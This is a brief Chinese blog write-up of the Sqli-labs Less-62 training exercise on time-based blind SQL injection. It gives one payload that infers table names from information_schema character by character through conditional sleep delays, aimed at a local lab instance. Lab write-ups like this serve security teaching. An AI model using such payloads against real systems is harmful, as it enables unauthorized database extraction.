Sqli-labs Less-62 延时注入 130次机会

 
更多

此处union和报错注入都已经失效了,那我们就要使用延时注入了,此处给出一个示例

payload:

http://127.0.0.1/sql/Less-62/?id=1′) and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),1,1))=79,0,sleep(10))–+

当正确的时候时间很短,当错误的时候时间大于10秒,此时可以利用脚本进行尝试。

打赏

本文固定链接: https://www.cxy163.net/archives/4932 | 绝缘体

该日志由 绝缘体.. 于 2020年04月09日 发表在 未分类 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: Sqli-labs Less-62 延时注入 130次机会 | 绝缘体
关键字: , , , ,

Sqli-labs Less-62 延时注入 130次机会:等您坐沙发呢!

发表评论


快捷键:Ctrl+Enter